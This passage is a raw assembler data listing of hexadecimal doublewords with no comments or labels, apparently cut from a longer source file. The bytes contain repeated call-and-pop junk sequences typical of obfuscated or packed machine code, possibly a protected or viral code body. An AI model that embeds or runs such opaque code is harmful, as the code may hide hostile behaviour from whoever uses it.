0F7DF8166h, 258964FAh dd 0 dd 28A0Fh, 0F98B0000h, 141985FFh, 66500610h, 6A5BDE8Bh dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 21D11621h, 0E932374Dh, 10h, 0F6AA4FC6h dd 0EEEC51BDh, 7B2BAFAAh, 0D7CB71D6h, 0A65BD01h, 0B5FF0610h dd 61030C5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0E6C35141h, 61595FFh, 30E90610h, 8B000001h, 100D599Dh dd 0F00B006h, 70E6FEBFh, 0B74262BFh, 2971E469h, 10144D9Dh dd 7E906h, 8EFD0000h, 7841E7E6h, 0F613C7Bh, 10283h, 0E1B50900h dd 0F061023h, 0D781C8B6h, 573055FAh, 6BAh, 5BD8B00h, 0F061002h dd 0C18BDBB7h, 2FC19D0Bh, 8B600610h, 10213985h, 0FB8B6606h dd 4E8C161h, 0FE9h, 0E0A83500h, 522E0A40h, 0E1970F71h dd 5BB36C0Eh, 23E2F766h, 102E45BDh, 66C82B06h, 8B4169BFh dd 0B5BD89D1h, 0E906102Eh, 2, 858BD98Bh, 61020A1h, 11E9h dd 6515CD00h, 28A058FCh, 2E7163D3h, 8C67024Fh, 0C083D909h dd 0C3816607h, 8060CB0Ch, 0B70F14DEh, 0C08361F1h, 0FD03B00h dd 1583h, 6062B300h, 0B299D03h, 0E9610610h, 57h, 2369BD8Bh dd 8D8B0610h, 6102381h, 40CCC381h, 0E1833ED1h, 3C840F01h dd 0E8000000h, 13h, 0C9F1C2A2h, 0EB59D17Eh, 6CEF46A8h dd 2A1658A2h, 31B17468h, 1032C1BDh, 0A5835B06h, 6102381h dd 219D8BFEh, 89061012h, 1020A195h, 0EB816606h, 0E901FAh dd 8D000000h, 13E426B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 8FA095BFh, 0ED6E177Dh dd 0F381006Ah, 741E75AAh, 31C995FFh, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 1B24A1C3h dd 8951BBC4h, 100EFD9Dh, 0D4B95F06h, 6000000Dh, 11358D8Bh dd 0BF0F0610h, 0E18361D3h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 5260B670h dd 1EF99D33h, 8B5F0610h, 8BFC61DEh, 100B759Dh, 8BC02B06h dd 102949BDh, 8BD22B06h, 0C233ADDFh, 0D003E8D1h, 7504E983h dd 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 6E0CE8F9h, 8B6652D4h, 9D095FF9h, 61023D9h dd 5E9h, 94F67300h, 0BD8BBFFBh, 6103289h, 880Dh, 9E900h dd 79A30000h, 799DBD0Ah, 8B035A3Ch, 1009F595h, 0FE8B6606h dd 23198D8Bh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0DEEC21C3h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 6A1EC3h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 249282C3h dd 0E0366DD2h, 0BD837AB3h, 6101E29h, 0AF840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0F939C351h, 8E9h, 23FAC300h, 4995EE71h, 0B8E9h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0A0A8F5C3h, 0BD890458h, 6100169h, 2059BD09h dd 8D8D0610h, 6104E85h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0ABC35545h, 0BD293ABEh, 61027C1h, 2AF1BD8Bh dd 0E1FF0610h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 19C35040h, 1DC1BD8Bh, 0BD830610h, 61022C1h, 1D840F00h dd 60000004h, 912D37BAh, 71858966h, 61061013h, 22C1BD83h dd 0F010610h, 41E84h, 0D7C78100h, 835D7FB3h, 1022C1BDh dd 860F0306h, 3D5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0F4C35646h, 1840Fh, 0E9F80000h, 7, 4E564F22h dd 60D593F2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 83C35747h, 0AE5A08Bh, 598D8951h, 6606100Fh, 6AD98Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0F44518C3h, 3B23E42Fh, 0E1805786h, 0FC90A04h, 12F84h dd 6830F00h, 1000000h, 1014A99Dh, 85858B06h, 50061021h dd 11F98589h, 335F0610h, 1011FD85h, 0ADBD8B06h, 90061030h dd 11E950h, 0BF950000h, 81B0D197h, 0CC169214h, 5F1D4AB1h dd 90A7CA85h, 397B4BBFh, 89006A35h, 100A41BDh, 0C6096806h dd 52502ABBh, 6E9h, 0A3D78200h, 0FAD8EB2h, 0D557BF31h dd 585A4108h, 0F6243481h, 6A2AA4C5h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 517EC350h dd 0B88FB2Fh, 860F73A6h, 13h, 0CE951h, 99100000h, 0A91CAABDh dd 95FA85CFh, 0FF5FBC3Dh, 1005D595h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0BA25A273h dd 8B30E85Dh, 1031719Dh, 6D858906h, 6A0613C2h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 8D58C357h, 9B7F9880h, 0D43AE8C7h, 1E2E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 501453Fh, 6D439BCBh, 89F7BB66h, 0C265858Bh, 0DA8A0613h dd 1800C7h, 0BD8B0000h, 6100051h, 0C269B58Bh, 6A0613h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 4EBA9CC3h, 360DC9CEh, 9D890040h, 6100E71h, 0E25858Bh dd 95310610h, 6100975h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0D2E2F1C3h, 50777C2Bh dd 8BEE4810h, 1023D99Dh, 85858B06h, 0B061021h, 102DE1BDh dd 4468906h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 13C35040h, 0C5823FF8h, 664C5818h, 0B0BBE381h, 0C2BB5250h dd 5F42DE5Eh, 29243489h, 1015B585h, 65B5FF06h, 6A0613C2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 993C355h, 0A30067D6h, 89F92BE5h, 10191D95h dd 54FB6806h, 0BF66D1CFh, 48165EFh, 4FAF0424h, 0DE8B662Eh dd 0C26D858Dh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 9FF579C3h, 0A5B58957h, 5F061005h dd 9088BF66h, 10E850h, 862C0000h, 0AC888682h, 52735C8Ch dd 5118F04h, 11E9EC5Bh, 75000000h, 0E4490693h, 25F7E0D5h dd 6C98F7FDh, 1E5BDF95h, 2404895Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0E5C35545h, 68AA81EEh, 9589C0F4h dd 6101FA9h, 4860Fh, 0BF660000h, 95FFCFB9h, 61005D5h, 0E9DE8B66h dd 13h, 7B10B9D1h, 8F10ED05h, 0C9DB116Dh, 0B3CA29B0h, 6117B559h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 46C35141h dd 0BD8BC0F9h, 6102ACDh, 22C185C7h, 30610h, 0BD8B0000h dd 6101DD1h, 0D939E781h, 0BD831D9Ah, 613C26Dh, 1A840F00h dd 0F8000000h, 2FE9h, 9D016000h, 6101BE1h, 68B0Fh, 9D8B0000h dd 61013BDh dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0BFDE8B66h, 320BC985h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 65C35242h, 22C1BD83h, 0F030610h dd 3C885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 8C7609F3h, 0BD830AEEh, 613C26Dh dd 9A840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0D34EC353h, 88D9D89h dd 0B5FF0610h, 613C26Dh, 17059D8Bh, 95FF0610h, 6102FA5h dd 0C261B58Bh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0CFA2ADC3h, 5026E484h, 81666029h dd 0F8281C0h, 488h, 70B96600h, 95896153h, 61001E9h, 106C7h dd 8B660001h, 11E850DAh, 95000000h, 8100951Fh, 0BF4DB9C4h dd 2A726C9Fh, 86F04F6Ch, 6850Fh, 52500000h, 585A310Fh dd 2434895Bh, 1705BD8Bh, 0B5FF0610h, 613C26Dh, 208DBD89h dd 95FF0610h, 6101225h, 7BDB8166h, 61B58B00h, 660613C2h dd 0AA40EB81h, 21D1858Bh, 2B70610h, 0C48689h, 5EBB0000h dd 8B723D8Ch, 1009F595h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0F1C1FFC7h, 72CF810Eh dd 83548487h, 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0B7CA75C3h, 20508926h, 1B899D8Bh dd 8D890610h, 6103169h, 0D7C2858Dh, 8B660613h, 0B88689FEh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 8E62C356h, 0FDB44C9Dh, 8BBF8B30h dd 1023E19Dh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 6AD7C357h, 9EB87DF6h dd 6509D07Dh, 2935BD89h, 0B5FF0610h, 613C26Dh, 14E9h, 0F926AF00h dd 0E7F8ABE0h, 0D9F8DDF3h, 0BD9F56AEh, 0C2D31900h, 9595FFF8h dd 0E9061004h, 5, 0DD1F8D71h, 5E9960Ch, 56000000h, 0A7C6B309h dd 0E9CDBB50h, 6A965690h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 6887C352h, 0BF0EF22Bh dd 0FD8A596h, 687h, 0E1B58900h, 8B061007h, 1028459Dh, 6DB5FF06h dd 6A0613C2h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 8B37C350h, 1022759Dh, 39958906h dd 0FF061011h, 10162D95h, 0BD9D8906h, 83061027h, 101351BDh dd 840F0006h, 4Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 63C35545h, 1C10042Dh, 0FC1B70Fh, 5096F8BFh dd 0AE8h, 14963C00h, 0FE0E2389h, 0E9016B9Eh, 0Bh, 5FF120F9h dd 277B3A09h, 5F7C9B86h, 19953196h, 0FF061008h, 13C26DB5h dd 0F1958906h, 0FF06101Eh, 100C1995h, 0CE906h, 3F0C0000h dd 88482A76h, 0A956E02Eh, 0B5FF1DB1h, 613C26Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EFC35646h, 0E05416AAh dd 47F2DA7Ch, 1CCD8D89h, 95FF0610h, 6101621h, 9E8h, 18E62900h dd 0FCE8C9C3h, 0B70F95CDh, 0BD835BF9h, 6100F89h, 62840F02h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 1C9C353h, 100901B5h, 0C5858B06h dd 31061010h, 102829BDh, 0C606h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 34C35545h, 115C13Bh, 60AE6675h dd 2E558589h, 9D8B0610h, 610096Dh, 2585C761h, 6102Ah, 8B000000h dd 101EE9BDh, 0F3C1E906h, 0C18BFFFFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0FAC35242h, 8E6E26CAh, 2A199D03h dd 858D0610h, 61013B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0A7C35545h, 9A254204h, 2EDD8529h, 0F500610h dd 481h, 0B4BF6600h, 2404895Eh, 0E47961BFh, 6A006A2Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F4CBC351h, 0BA1B185h, 100C6DBDh, 0E9BD8B06h dd 6A061000h, 0A19D8B00h, 8D061016h, 14609D85h, 0DE8B6606h dd 0E905C083h, 8, 1F6DC559h, 543B39FDh, 0F208BB66h, 4880F90h dd 50000000h, 505FD98Bh, 0AFB3BB66h, 5850F90h, 66000000h dd 377EDB81h, 0B61B589h, 6A0610h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 9EC35040h, 0D0C38166h, 6A006A38h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 871AC352h, 9D7A02A8h, 1D1995FFh, 8D090610h dd 6102D59h, 0AFD88D8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 8BAD16C3h, 0ED5E811Ah dd 0BF261D9Bh, 1D7B2107h, 0F88BD1FFh, 0E54FBF66h, 2209BD83h dd 0F010610h, 4F85h, 830F00h, 6A000000h, 0E9B52902h, 50061022h dd 48926B3h, 0FAB70F24h, 49595FFh, 6A0610h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7F84BC3h dd 642B7AE8h, 605121ADh, 0E6C8A2BBh, 59BD0132h, 6106102Dh dd 0EACE9h, 0E800h, 815D0000h, 1460A7EDh, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2A94970Ch, 848EABBEh, 9D8BEB75h, 6100B99h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E7C35040h, 858DF3CFh dd 61399B6h, 90DF8B66h, 0B840Fh, 6E90000h, 0CF000000h dd 7187E9FDh, 800F502Ah, 5, 989BC7BFh, 6A9007h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 758E8AC3h, 0C1B25C3Dh, 35CF812Eh, 6424352Bh, 35FFh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 7A67A0C3h, 1C8C0F00h, 0E8000000h, 10h, 0E5702604h dd 616961DAh, 59CFCD5Eh, 6AE916C9h, 1191BD89h, 645B0610h dd 2589h, 9D0B0000h, 6100B3Dh, 10E9h, 0CA51F300h, 0FC85C14Bh dd 0F547EC78h, 7EB3A19Dh, 1985FF9Bh, 0F061014h, 0FF6ADFBFh dd 15C9BD89h, 0B5FF0610h, 6101211h, 0FE9h, 33117500h, 0EE73B898h dd 7763D9E7h, 3AE1C61h, 61595FFh, 0ECE90610h, 89000000h dd 102D45B5h, 8D8B6006h, 6100E11h, 0A722D181h, 0B0610280h dd 95BD8B00h, 0E6061021h, 0E433B770h, 299D3171h, 3C06100Ah dd 0BC830F61h, 0B000000h, 1001FDBDh, 0C8B60F06h, 1A9DBD8Bh dd 6BA0610h, 89000000h, 101C0D9Dh, 81C18B06h, 67A115D3h dd 4E8C11Bh, 0A5C18160h, 0F07FC62h, 6661D1B7h, 9D8BE2F7h dd 6100C71h, 0D18BC82Bh, 0A2D9D33h, 0D88A0610h, 13E9h dd 319D0B00h, 60061005h, 0B7F08166h, 598D8B8Fh, 61061014h dd 2D89858Bh, 0BB660610h, 0C0839B93h, 0C083F507h, 0A9B58900h dd 3B06102Eh, 11830FD0h, 8B000000h, 10238D9Dh, 35E906h dd 9D8B0000h, 6102181h, 5298D8Bh, 9D8B0610h, 6100045h dd 0F01E183h, 1A84h, 0A583FC00h, 6100529h, 0D5BB66FEh dd 89958991h, 0F06102Dh, 0E9DEBFh, 8D000000h, 13F3BDB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 0CCEFA66Fh, 3C3737B8h, 0FF5AC78h, 6AFEBFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 47C35343h dd 0B686683Ch, 66F47D9Ah, 5220E781h, 5AC78166h, 0C995FF04h dd 8B061031h, 102AE19Dh, 8BCB906h, 0BF0F0000h, 0FCE183D8h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 57C35343h dd 0D27244AEh, 89AD435Bh, 1027F5B5h, 9D0BFC06h, 6100A75h dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0EE180B0Ah, 50CC87BEh, 8B661E5Fh dd 358D89DEh, 2B06101Bh, 50006AD2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 67024F2Eh, 0ADFFB70Fh dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0FA05C351h dd 8AA06C15h, 0EB8166FEh, 0BF0F33C1h, 880DDEh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0CB7942C3h, 265CF1DFh, 8BF91A58h, 1009F595h, 8C0F06h dd 8B000000h, 1023198Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0B4766111h, 8B506AEFh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 16959D8Bh dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 46AE49C3h, 4D103B85h, 11E18D29h, 0BD830610h dd 6101E29h, 3E840F00h, 0B8000000h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 17C35242h dd 0D3AA5AEDh, 0AF8ACF81h, 8D8D3F5Ch, 6104E85h, 1EC38166h dd 89E1FFF4h, 100EDD95h, 0C1BD8306h, 61022h, 4CD840Fh dd 0BD830000h, 61022C1h, 0DB840F01h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 92E5C351h, 1F5F971Dh, 0E94F29FFh, 14h, 446C39F4h, 70DD7B08h dd 0D3405F32h, 0D17753DBh, 51467290h, 0FE9h, 12D58E00h dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh, 22C1BD83h, 0F030610h dd 44786h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 1E419516h, 8B205336h, 8589994Fh dd 61016A9h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 7A298084h, 99D2350h, 5B06102Eh, 80D98C66h dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0C0CFBEC3h, 6653B8B5h, 5B3E8CBFh, 840FC90Ah dd 145h, 93DBD8Bh, 0DE90610h, 5D000000h, 0E254889Eh, 21751A97h dd 7AB3FD49h, 2185858Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 3870C3C3h, 60B10229h dd 0DE960h, 0BD310000h, 9B2F7172h, 0E2B1F457h, 61541512h dd 0FD853361h, 6A061011h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 5F82C351h, 59E1C850h dd 0C53FB1DBh, 16959D8Bh, 0F900610h, 0A87h, 48D0F00h, 66000000h dd 50440CBBh, 140F1BBFh, 0BD299076h, 610233Dh, 0CE9006Ah dd 0FD000000h, 9EB293A1h, 0DB0183F7h, 68C60D59h, 0F4C4D6Ch dd 0C8C0Fh, 880F0000h, 6, 8B0Fh, 34810000h, 534E9324h dd 55006A0Fh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0D5691D84h, 8C8F4953h, 0D595FFB1h, 0E9061005h dd 7, 0A5DD8EA2h, 89488ADDh, 13C26D85h, 0E9DA8B06h, 7 dd 4F85521Ah, 0E94AD773h, 211h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0C5C35040h, 4396E534h, 65858BF9h dd 8B0613C2h, 102D19BDh, 1800C706h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 5FCBC357h, 0D1E88423h, 2CCE7B83h, 8BD8BF0Fh, 1027F5BDh dd 0BABF6606h, 69B58BF8h, 0E90613C2h, 14h, 5AED1702h, 0AA65D3AAh dd 0DAB04454h, 873DAE4Eh, 0ADEE1945h, 0A2DCBB66h, 0E25858Bh dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 35FA25C3h, 825E818h, 8166EE72h, 892A3BEFh dd 8E806h, 0D5FD0000h, 0BD1B2B0Fh, 18BB66A4h, 5F309024h dd 2185858Bh, 10E80610h, 3C000000h, 2DD0C1FCh, 0DD8F00A3h dd 52FB89BCh, 0BF312C7Ch, 61DD658h, 446895Fh, 96DFB70Fh dd 9D0BBB51h, 505B4159h, 2AC38196h, 0FF28DFE5h, 13C265B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BC9C722h, 4E8DAh, 3FF0000h, 0F50001Fh dd 1B8Eh, 50525000h, 5A310F52h, 0E8310F58h, 9, 0D0CE97F6h dd 0CE3EC430h, 585A5FF9h, 424448Bh, 0BE860h, 0F0540000h dd 0A69ED355h, 0C3153BA8h, 0F525074h, 5F585A31h, 0BF008B61h dd 60D3D7DDh, 4244489h, 8AB55760h, 6A586158h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0F0DDC356h, 0F2BC1064h, 6610189h, 941BD29h, 858D0610h dd 613C26Dh, 5E8h, 916F9800h, 0D3817217h, 276C8B4Eh, 8B66905Bh dd 6A9050FAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 516C357h, 2819BD33h, 95FF0610h dd 61005D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 63C35242h, 9D8B61F1h, 61015A9h, 22C185C7h, 30610h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0C06826C3h, 3B0C8314h, 0B70FD88Ah, 6DBD83DEh dd 613C2h, 46840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 63739BC3h, 15BD89D1h dd 0E906102Ah, 37h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 82C35141h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 0FC08B00h, 68Fh, 5BD8B00h, 66061017h, 0BD83DA8Bh dd 61022C1h, 850F03h, 6A000005h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F07BC355h, 67000B12h dd 0D614A51Ah, 201DB589h, 0BD830610h, 613C26Dh, 0C8840F00h dd 0BB000004h, 30C20F8Dh, 0C26DB5FFh, 8F0F0613h, 6, 0FDE9D381h dd 95FF1185h, 6102FA5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 7DC35747h, 7094B5C4h, 0BF66B2E3h, 0B58B43AFh dd 613C261h, 2795BD0Bh, 6C70610h, 10001h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FBC35242h, 0BBA8262Ch dd 0EB2D285Ah, 9D9D8B3Ch, 96061008h, 3CE2F0BFh, 5056501Ch dd 0D88B6652h, 14E9310Fh, 91000000h, 158DB7B7h, 62D885A5h dd 42112224h, 78C933F0h, 5A2B87B3h, 6A965B58h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 4B1FC356h, 0C61C3944h, 732E6D9Ah, 14E59D89h, 9D8B0610h dd 61013F1h, 0C26DB5FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0E9ADDCC3h, 13793A17h dd 8A0Fh, 0E9570000h, 0Dh, 4E1176C4h, 0E2CD433Bh, 0A2640AD6h dd 95FF5FE0h, 6101225h, 0C261B58Bh, 6A0613h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0E02042C3h dd 0F165E48h, 1881h, 13E900h, 0D3A80000h, 87EFA7E3h, 0C681227h dd 0FCBB8AEEh, 9223ED56h, 0D1858B7Bh, 6A061021h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 40D2C356h, 4DB460Ch, 0C48689h, 95090000h, 6100B09h dd 9F5958Bh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0FF8542C3h, 80D8033Fh, 0C2839EB3h dd 13E904h, 4FCD0000h, 0AA95E9ABh, 0C78C25A4h, 0DDE4D183h dd 0EE305AB3h, 20508966h, 1BAFBB66h, 0D7C2858Dh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 721172C3h, 9554E1DDh, 89FB40F7h, 10284D95h, 0B8868906h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 2038C355h, 51D0806h, 0BD23FB8Bh dd 6101F31h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h dd 53430000h, 0BA5B0BC3h, 0A32F49B3h, 66160F0Ah, 0B5FFF98Bh dd 613C26Dh, 0DEDBD8Bh, 95FF0610h, 6100495h, 1F3D8D89h dd 0E8500610h, 0Eh, 0E01A88B4h, 0B0F55082h, 3B38F2A5h dd 0BF669E85h, 895B08D8h, 6E92434h, 0B1000000h, 6B4E41E5h dd 0C19D0391h, 0FF061016h, 13C26DB5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0D300FD4h, 5DE943B7h, 6E8h, 0B4753F00h, 0B32C96E4h dd 95FF5FFCh, 610162Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0A0C35747h, 9D2B62FAh, 6100935h, 56DB8166h dd 51BD83DCh, 61013h, 3E840Fh, 81660000h, 50A57FD3h, 0FE8h dd 387A2F00h, 547BCF3h, 0BAF48AF1h, 0CF297F76h, 0BFE7BF66h dd 2434895Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 17C35747h, 0C26DB5FFh, 6A0613h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0E58AD8C3h dd 0D4193BACh, 60CB2B9Fh, 14E8h, 52D21300h, 0FB4ED10Dh dd 0E1BDC699h, 5BB830B4h, 24273911h, 7E811h, 45930000h dd 0CE87A01Dh, 0F85F5EC0h, 1995FF61h, 0F06100Ch, 148Ah dd 0BD896000h, 61006F5h, 7E9h, 9DC34C00h, 36918C6Fh, 8E861h dd 5E1D0000h, 28A48F51h, 0FA8BA147h, 6DB5FF5Fh, 6A0613C2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 15CC352h, 0F33FAFFEh, 0F81BC95h, 0B70FF8B7h dd 2195FFFBh, 6A061016h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 8983C352h, 9D8B69B0h dd 6100FB5h, 0F89BD83h, 0F020610h, 6284h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 5A1909CCh, 8B6B043Eh, 1010C585h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 53946ECCh dd 0BE9101Eh, 0F2000000h, 0CA50F18Bh, 34097184h, 0C6FBC9h dd 1DBD8B00h, 0C7061013h, 102A2585h, 6, 919D8B00h, 0E9061013h dd 0FFFFF29Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0BCC35545h, 833D92C5h, 5DE0FB87h, 89C18B86h, 100C29B5h dd 0B9858D06h, 2B061013h, 102DBDBDh, 8B509006h, 816690FBh dd 6AF218DBh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 8EADAB33h, 0CDC98ED6h, 1D858980h dd 50061019h, 1659D8Bh, 6A5F0610h, 0B5896000h, 61016DDh dd 0AAD9D33h, 8D610610h, 14716885h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 89F9FA91h dd 101DFD8Dh, 5C08306h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 70C35141h, 0D1BD0B4Eh, 0B306100Dh, 4895066h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 